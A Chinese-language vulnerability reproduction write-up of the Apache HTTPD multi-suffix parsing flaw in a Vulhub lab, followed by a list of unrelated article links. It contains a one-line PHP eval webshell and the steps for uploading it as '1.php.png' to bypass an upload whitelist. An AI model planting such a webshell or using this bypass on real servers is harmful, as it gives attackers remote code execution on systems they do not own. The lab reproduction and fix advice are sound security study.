当前位置: 首页 > news >正文

【漏洞复现】Apache_HTTPD_多后缀解析漏洞

感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规

文章目录

      • 1.1、漏洞描述
      • 1.2、漏洞复现
        • 1、基础环境
        • 2、漏洞验证
      • 1.3、深度利用
        • GetShell
      • 1.4、修复建议

1.1、漏洞描述

Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。比如,如下配置文件:

AddType text/html .html
AddLanguage zh-CN .cn

其给.html后缀增加了media-type,值为text/html;给.cn后缀增加了语言,值为zh-CN。此时,如果用户请求文件index.cn.html,他将返回一个中文的html页面

常见的媒体格式类型解释:

text/html: HTML格式

text/plain:纯文本格式

image/gif:gif图片格式

application/pdf:pdf格式

application/octet-stream:二进制流数据(常见的文件下载就是这种媒体格式)

以上就是Apache多后缀的特性。如果运维人员给.php后缀增加了处理器:

AddHandler application/x-httpd-php .php

在这里插入图片描述

在这里插入图片描述

那么,在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。

利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞

1.2、漏洞复现

1、基础环境

Path:Vulhub/httpd/apache_parsing_vulnerability


启动测试环境:

sudo docker-compose up -d

访问http://your-ip即可看到

在这里插入图片描述

2、漏洞验证

上传一句话木马,bp拦截数据包

<?php
@eval($_REQUEST[6868]);
phpinfo();
?>

在这里插入图片描述

修改文件名,文件类型

在这里插入图片描述

访问 /uploadfiles/1.php.png文件

在这里插入图片描述

触发php探针

1.3、深度利用

在这里插入图片描述

GetShell

在这里插入图片描述

在这里插入图片描述

1.4、修复建议

AddHandler application/x-httpd-php.php的配置文件删除

相关文章:

  • 奇元大模型通过备案 360自研两大模型均获批
  • Python之Excel数据相关
  • 【自动化测试教程】Java+Selenium自动化测试环境搭建
  • Vue CRUD 弹出窗口 表单验证 增删改查 接口文档
  • 【随手记】聚簇索引、二级索引和联合索引
  • Visual Studio Code 常用快捷键大全
  • 100量子比特启动实用化算力标准!玻色量子重磅发布相干光量子计算机
  • 【漏洞复现】74cms任意文件读取
  • HCIE-kubernetes(k8s)-Authentication身份验证
  • SpringCloud 微服务全栈体系(十)
  • leetcode_208 实现Trie(前缀树)
  • zookeeper节点类型
  • 听GPT 讲Rust源代码--library/std(13)
  • 集线器、交换机、网桥、路由器、网关
  • 如何使用Python和Matplotlib创建双Y轴动态风格折线图 | 数据可视化教程
  • ComponentOne 2017 V2版本正式发布
  • CSS魔法堂:Absolute Positioning就这个样
  • ES6核心特性
  • java架构面试锦集:开源框架+并发+数据结构+大企必备面试题
  • JS变量作用域
  • Laravel核心解读--Facades
  • Lsb图片隐写
  • Mysql优化
  • Next.js之基础概念(二)
  • nginx 配置多 域名 + 多 https
  • Python 使用 Tornado 框架实现 WebHook 自动部署 Git 项目
  • Shadow DOM 内部构造及如何构建独立组件
  • sublime配置文件
  • UMLCHINA 首席专家潘加宇鼎力推荐
  • 分布式任务队列Celery
  • 每个JavaScript开发人员应阅读的书【1】 - JavaScript: The Good Parts
  • 使用Maven插件构建SpringBoot项目,生成Docker镜像push到DockerHub上
  • 小程序上传图片到七牛云(支持多张上传,预览,删除)
  • AI又要和人类“对打”,Deepmind宣布《星战Ⅱ》即将开始 ...
  • ​​​​​​​Installing ROS on the Raspberry Pi
  • ​马来语翻译中文去哪比较好?
  • # 透过事物看本质的能力怎么培养?
  • (09)Hive——CTE 公共表达式
  • (7)STL算法之交换赋值
  • (Pytorch框架)神经网络输出维度调试,做出我们自己的网络来!!(详细教程~)
  • (笔记)Kotlin——Android封装ViewBinding之二 优化
  • (附源码)springboot宠物医疗服务网站 毕业设计688413
  • (力扣记录)235. 二叉搜索树的最近公共祖先
  • (论文阅读11/100)Fast R-CNN
  • (三分钟)速览传统边缘检测算子
  • (转)nsfocus-绿盟科技笔试题目
  • .[backups@airmail.cc].faust勒索病毒的最新威胁:如何恢复您的数据?
  • .apk文件,IIS不支持下载解决
  • .desktop 桌面快捷_Linux桌面环境那么多,这几款优秀的任你选
  • .net 逐行读取大文本文件_如何使用 Java 灵活读取 Excel 内容 ?
  • .NET/C# 在代码中测量代码执行耗时的建议(比较系统性能计数器和系统时间)...
  • .Net7 环境安装配置
  • .NET关于 跳过SSL中遇到的问题
  • .NET委托:一个关于C#的睡前故事
  • @converter 只能用mysql吗_python-MySQLConverter对象没有mysql-connector属性’...